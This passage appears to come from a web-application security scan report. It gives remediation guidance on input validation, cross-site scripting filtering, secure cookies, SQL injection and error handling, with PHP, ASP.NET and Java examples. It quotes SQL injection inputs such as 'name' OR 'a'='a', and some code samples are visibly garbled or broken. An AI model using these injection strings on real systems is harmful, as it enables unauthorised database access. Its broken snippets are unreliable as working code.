[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type.

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a

maximum length.

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

[6] Field pattern
Always check that user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]+$

[7] Cookie value
The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

[8] HTTP Response

[8-1] Filter user input
To guard the application against cross-site scripting, the developer should sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

PHP includes some automatic sanitization utility functions, such as htmlentities():

```
$input = htmlentities($input, ENT QUOTES, 'UTF-8');
```

In addition, in order to avoid UTF-7 variants of Cross-site Scripting, you should explicitly define the Content-Type header of the response, for example:

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Secure the cookie

When storing sensitive data in a cookie and transporting it over SSL, make sure that you first set the secure flag of the cookie in the HTTP response. This will instruct the browser to only use that cookie over SSL connections.

You can use the following code example, for securing the cookie:

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

In addition, we recommend that you use the HttpOnly flag. When the HttpOnly flag is set to TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).

The HttpOnly flag was Added in PHP 5.2.0.

REFERENCES

[1] Mitigating Cross-site Scripting With HTTP-only Cookies:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP Security Consortium:
http://phpsec.org/
[3] PHP & Web Application Security Blog (Chris Shiflett):
http://shiflett.org/

## References and Relevant Links

CERT Advisory CA-2000-02
Microsoft How To: Prevent Cross-Site Scripting Security Issues (Q252985)
Microsoft How To: Prevent Cross-Site Scripting in ASP.NET
Microsoft How To: Protect From Injection Attacks in ASP.NET
Microsoft How To: Use Regular Expressions to Constrain Input in ASP.NET
Microsoft .NET Anti-Cross Site Scripting Library
Cross-Site Scripting Training Module

# SQL Injection

## Application

## WASC Threat Classification

SQL Injection
http://projects.webappsec.org/SQL-Injection

## Security Risks

It is possible to view, modify or delete database entries and tables

## Possible Causes

Sanitation of hazardous characters was not performed correctly on user input

## Technical Description

The software constructs all or part of an SQL command using externally-influenced input, but it incorrectly neutralizes special elements that could modify the intended SQL command when sent to the database.

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, and possibly including execution of system commands.

For example, let's say we have an HTML page with a login form, which eventually runs the following SQL query on the database using the user input:

```
SELECT * FROM accounts WHERE username='$user' AND password='$pass'
```

The two variables, $user and $pass, contain the user credentials entered by the user in the login form.
Therefore, if the user has input "jsmith" as the username, and "Demo1234" as the password, the SQL query will look like this:

```
SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'
```

But if the user input "'" (a single apostrophe) as the username, and "'" (a single apostrophe) as the password, the SQL query will look like this:

```
SELECT * FROM accounts WHERE username=''' AND password='''
```

This, of course, is a malformed SQL query, and will invoke an error message, which may be returned in the HTTP response.
An error such as this informs the attacker that an SQL Injection has succeeded, which will lead the attacker to attempt further attack vectors.

Sample Exploit:
The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = "'"
                        + userName + "' AND itemname = '"
                        + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

```
SELECT * FROM items WHERE owner =  AND itemname = ;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

```
SELECT * FROM items;
```

## Fix Recommendation - General

There are several mitigation techniques:
[1] Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur, or provides constructs that make it easier to avoid.

[2] Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

[3] Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks.

[4] Strategy: Output Encoding
If you need to use dynamically-generated query strings or commands in spite of the risk, properly quote arguments and escape any special characters within those arguments.

[5] Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy: a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do

not rely exclusively on blacklisting malicious or malformed inputs. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Fix Recommendation - ASP.NET

Here are two possible ways to protect your web application against SQL injection attacks:

[1] Use a stored procedure rather than dynamically built SQL query string. The way parameters are passed to SQL Server stored procedures, prevents the use of apostrophes and hyphens.

Here is a simple example of how to use stored procedures in ASP.NET:

```
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter

Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value


// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);

myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
```

[2] You can add input validation to Web Forms pages by using validation controls. Validation controls provide an easy-to-use mechanism for all common types of standard validation - for example, testing for valid dates or values within a range - plus ways to provide custom-written validation. In addition, validation controls allow you to completely customize how error information is displayed to the user. Validation controls can be used with any controls that are processed in a Web Forms page's class file, including both HTML and Web server controls.

In order to make sure user input contains only valid values, you can use one of the following validation controls:

a. "RangeValidator": checks that a user's entry (value) is between specified lower and upper boundaries. You can check ranges within pairs of numbers, alphabetic characters, and dates.

b. "RegularExpressionValidator": checks that the entry matches a pattern defined by a regular expression. This type of validation allows you to check for predictable sequences of characters, such as those in social security numbers, e-mail addresses, telephone numbers, postal codes, and so on.

Important note: validation controls do not block user input or change the flow of page processing; they only set an error state, and produce error messages. It is the programmer's responsibility to test the state of the controls in the code before performing further application-specific actions.

There are two ways to check for user input validity:

1. Testing for a general error state:

In your code, test the page's IsValid property. This property rolls up the values of the IsValid properties of all the validation controls on the page (using a logical AND). If one of the validation controls is set to invalid, the page's property will return false.

2. Testing for the error state of individual controls:

Loop through the page's Validators collection, which contains references to all the validation controls. You can then examine the IsValid property of each validation control.

## Fix Recommendation - J2EE

** Prepared Statements:

There are 3 possible ways to protect your application against SQL injection, i.e. malicious tampering of SQL parameters. Instead of dynamically building SQL statements, use:

[1] PreparedStatement, which is precompiled and stored in a pool of PreparedStatement objects. PreparedStatement defines setters to register input parameters that are compatible with the supported JDBC SQL data types. For example, setString should be used for input parameters of type VARCHAR or LONGVARCHAR (refer to the Java API for further details). This way of setting input parameters prevents an attacker from manipulating the SQL statement through injection of bad characters, such as apostrophe.

Example of how to use a PreparedStatement in J2EE:

```
  // J2EE PreparedStatemenet Example
  // Get a connection to the database
  Connection myConnection;
  if (isDataSourceEnabled()) {
      // using the DataSource to get a managed connection
      Context ctx = new InitialContext();
      myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName,
dbPassword);
  } else {
```

```
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareStatement("select * from users where
username = ?");
      myStatement.setString(1, userNameField);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }
```

[2] CallableStatement, which extends PreparedStatement to execute database SQL stored procedures. This class inherits input setters from PreparedStatement (see [1] above).

The following example assumes that this database stored procedure has been created:

```
CREATE PROCEDURE select_user (@username varchar(20))
AS SELECT * FROM USERS WHERE USERNAME = @username;
```

Example of how to use a CallableStatement in J2EE to execute the above stored procedure:

```
  // J2EE PreparedStatemenet Example
  // Get a connection to the database
  Connection myConnection;
  if (isDataSourceEnabled()) {
      // using the DataSource to get a managed connection
      Context ctx = new InitialContext();
      myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName,
dbPassword);
  } else {
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
      myStatement.setString(1, userNameField);
      myStatement.registerOutParameter(1, Types.VARCHAR);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }
```

[3] Entity Bean, which represents an EJB business object in a persistent storage mechanism. There are two types of entity beans: bean-managed and container-managed. With bean-managed persistence, the developer is responsible of writing the SQL code to access the database (refer to sections [1] and [2] above). With container-managed persistence, the EJB container automatically generates the SQL code. As a result, the container is responsible of preventing malicious attempts to tamper with the generated SQL code.

Example of how to use an Entity Bean in J2EE:

```
  // J2EE EJB Example
  try {
      // lookup the User home interface
      UserHome userHome = (UserHome)context.lookup(User.class);
      // find the User remote interface
      User = userHome.findByPrimaryKey(new UserKey(userNameField));
      ...
  } catch (Exception e) {
      ...
  }
```

RECOMMENDED JAVA TOOLS
N/A

REFERENCES

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must be performed on the server-tier using Servlets. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement the above routine as static methods in a "Validator" utility class. The following sections describe an example validator class.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type. Use the Java primitive wrapper classes to check if the field value can be safely converted to the desired primitive data type.

Example of how to validate a numeric field (type int):

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    ...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

A good practice is to convert all HTTP request parameters to their respective data types. For example, the developer should store the "integerValue" of a request parameter in a request attribute and use it as shown in the following example:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

The primary Java data types that the application should handle:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

Example to validate that the length of the userName field is between 8 and 20 characters:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}
```

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

Example to validate that the input numberOfChoices is between 10 and 20:

```
// Example to validate the field range
public Class Validator {
    ...
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    ...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            ...
        }
    }
}
```

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

Example to validate the user selection against a list of allowed options:

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    ...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] Field pattern
Always check that the user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]*$

Java 1.3 or earlier versions do not include any regular expression packages. Apache Regular Expression Package (see Resources below) is recommended for use with Java 1.3 to resolve this lack of support. Example to perform regular expression validation:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
             RE r = new RE(expression);
             match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 introduced a new regular expression package (java.util.regex). Here is a modified version of Validator.matchPattern using the new Java 1.4 regular expression package:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] Cookie value
Use the javax.servlet.http.Cookie object to validate the cookie value. The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

Example to validate a required cookie value:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP Response
[8-1] Filter user input
To guard the application against cross-site scripting, sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

Example to filter a specified string by converting sensitive characters to their corresponding character entities:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '\'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
        }
        return result;
    }
    ...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

The Java Servlet API 2.3 introduced Filters, which supports the interception and transformation of HTTP requests or responses.

Example of using a Servlet Filter to sanitize the response using Validator.filter:

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
```

```
  // This example is for illustration purposes since it will filter all content in the response,
including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {

          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);

          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));

          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;

          public String toString() {
              return output.toString();
          }

          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }

          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  }

  }
```

[8-2] Secure the cookie
When storing sensitive data in a cookie, make sure to set the secure flag of the cookie in the HTTP response, using Cookie.setSecure(boolean flag) to instruct the browser to send the cookie using a secure protocol, such as HTTPS or SSL.

Example to secure the "user" cookie:

```
  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a powerful framework that implements all the above data validation requirements. These rules are configured in an XML file that defines input validation rules for form fields. Struts supports output filtering of dangerous characters in the [8] HTTP Response by default on all data written using the Struts 'bean:write' tag. This filtering may be disabled by setting the 'filter=false' flag.

Struts defines the following basic input validators, but custom validators may also be defined:
required: succeeds if the field contains any characters other than white space.
mask: succeeds if the value matches the regular expression given by the mask attribute.
range: succeeds if the value is within the values given by the min and max attributes ((value >= min) & (value <= max)).
maxLength: succeeds if the field is length is less than or equal to the max attribute.
minLength: succeeds if the field is length is greater than or equal to the min attribute.
byte, short, integer, long, float, double: succeeds if the value can be converted to the corresponding primitive.
date: succeeds if the value represents a valid date. A date pattern may be provided.
creditCard: succeeds if the value could be a valid credit card number.
e-mail: succeeds if the value could be a valid e-mail address.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
```

```
            method="validateMask"
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events and input validation.

The JavaServer Faces API implements the following basic validators, but custom validators may be defined:
validate_doublerange: registers a DoubleRangeValidator on a component
validate_length: registers a LengthValidator on a component
validate_longrange: registers a LongRangeValidator on a component
validate_required: registers a RequiredValidator on a component
validate_stringrange: registers a StringRangeValidator on a component
validator: registers a custom Validator on a component

The JavaServer Faces API defines the following UIInput and UIOutput Renderers (Tags):
input_date: accepts a java.util.Date formatted with a java.text.Date instance
output_date: displays a java.util.Date formatted with a java.text.Date instance
input_datetime: accepts a java.util.Date formatted with a java.text.DateTime instance
output_datetime: displays a java.util.Date formatted with a java.text.DateTime instance
input_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
output_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
input_text: accepts a text string of one line.
output_text: displays a text string of one line.
input_time: accepts a java.util.Date, formatted with a java.text.DateFormat time instance
output_time: displays a java.util.Date, formatted with a java.text.DateFormat time instance
input_hidden: allows a page author to include a hidden variable in a page
input_secret: accepts one line of text with no spaces and displays it as a set of asterisks as it is typed
input_textarea: accepts multiple lines of text
output_errors: displays error messages for an entire page or error messages associated with a specified client identifier
output_label: displays a nested component as a label for a specified input field
output_message: displays a localized message

Example to validate the userName field of a loginForm using JavaServer Faces:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -

http://java.sun.com/j2ee/javaserverfaces/

** Error Handling:

Many J2EE web application architectures follow the Model View Controller (MVC) pattern. In this pattern a Servlet acts as a Controller. A Servlet delegates the application processing to a JavaBean such as an EJB Session Bean (the Model). The Servlet then forwards the request to a JSP (View) to render the processing results. Servlets should check all input, output, return codes, error codes and known exceptions to ensure that the expected processing actually occurred.

While data validation protects applications against malicious data tampering, a sound error handling strategy is necessary to prevent the application from inadvertently disclosing internal error messages such as exception stack traces. A good error handling strategy addresses the following items:

[1] Defining Errors
[2] Reporting Errors
[3] Rendering Errors
[4] Error Mapping

[1] Defining Errors
Hard-coded error messages in the application layer (e.g. Servlets) should be avoided. Instead, the application should use error keys that map to known application failures. A good practice is to define error keys that map to validation rules for HTML form fields or other bean properties. For example, if the "user_name" field is required, is alphanumeric, and must be unique in the database, then the following error keys should be defined:

(a) ERROR_USERNAME_REQUIRED: this error key is used to display a message notifying the user that the "user_name" field is required;
(b) ERROR_USERNAME_ALPHANUMERIC: this error key is used to display a message notifying the user that the "user_name" field should be alphanumeric;
(c) ERROR_USERNAME_DUPLICATE: this error key is used to display a message notifying the user that the "user_name" value is a duplicate in the database;
(d) ERROR_USERNAME_INVALID: this error key is used to display a generic message notifying the user that the "user_name" value is invalid;

A good practice is to define the following framework Java classes which are used to store and report application errors:

- ErrorKeys: defines all error keys

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: encapsulates an individual error

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
    public Object[] getValues() {
        return this.values;
    }

    private String key = null;
    private Object[] values = null;
}
```

- Errors: encapsulates a Collection of errors

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {

    // Adds an Error object to the Collection of errors for the specified bean property.
    public void addError(String property, Error error) {
        ArrayList propertyErrors = (ArrayList)errors.get(property);
        if (propertyErrors == null) {
            propertyErrors = new ArrayList();
            errors.put(property, propertyErrors);
        }
        propertyErrors.put(error);
    }

    // Returns true if there are any errors
    public boolean hasErrors() {
        return (errors.size > 0);
    }

    // Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
        return (ArrayList)errors.get(property);
    }

    private HashMap errors = new HashMap();
}
```

Using the above framework classes, here is an example to process validation errors of the "user_name" field:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
        }
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
    }
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] Reporting Errors
There are two ways to report web-tier application errors:
(a) Servlet Error Mechanism
(b) JSP Error Mechanism

[2-a] Servlet Error Mechanism
A Servlet may report errors by:
- forwarding to the input JSP (having already stored the errors in a request attribute), OR
- calling response.sendError with an HTTP error code argument, OR
- throwing an exception

It is good practice to process all known application errors (as described in section [1]), store them in a request attribute, and forward to the input JSP. The input JSP should display the error messages and prompt the user to re-enter the data. The following example illustrates how to forward to an input JSP (userInput.jsp):

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

If the Servlet cannot forward to a known JSP page, the second option is to report an error using the response.sendError method with HttpServletResponse.SC_INTERNAL_SERVER_ERROR (status code 500) as argument. Refer to the javadoc of javax.servlet.http.HttpServletResponse for more details on the various HTTP status codes. Example to return a HTTP error:

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                           messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

As a last resort, Servlets can throw an exception, which must be a subclass of one of the following classes:
- RuntimeException
- ServletException
- IOException

[2-b] JSP Error Mechanism
JSP pages provide a mechanism to handle runtime exceptions by defining an errorPage directive as shown in the following example:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

Uncaught JSP exceptions are forwarded to the specified errorPage, and the original exception is set in a request parameter called javax.servlet.jsp.jspException. The error page must include a isErrorPage directive as shown below:

```
<%@ page isErrorPage="true" %>
```

The isErrorPage directive causes the "exception" variable to be initialized to the exception object being thrown.

[3] Rendering Errors
The J2SE Internationalization APIs provide utility classes for externalizing application resources and formatting messages including:

(a) Resource Bundles
(b) Message Formatting

[3-a] Resource Bundles
Resource bundles support internationalization by separating localized data from the source code that uses it. Each resource bundle stores a map of key/value pairs for a specific locale.

It is common to use or extend java.util.PropertyResourceBundle, which stores the content in an external properties file as shown in the following example:

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

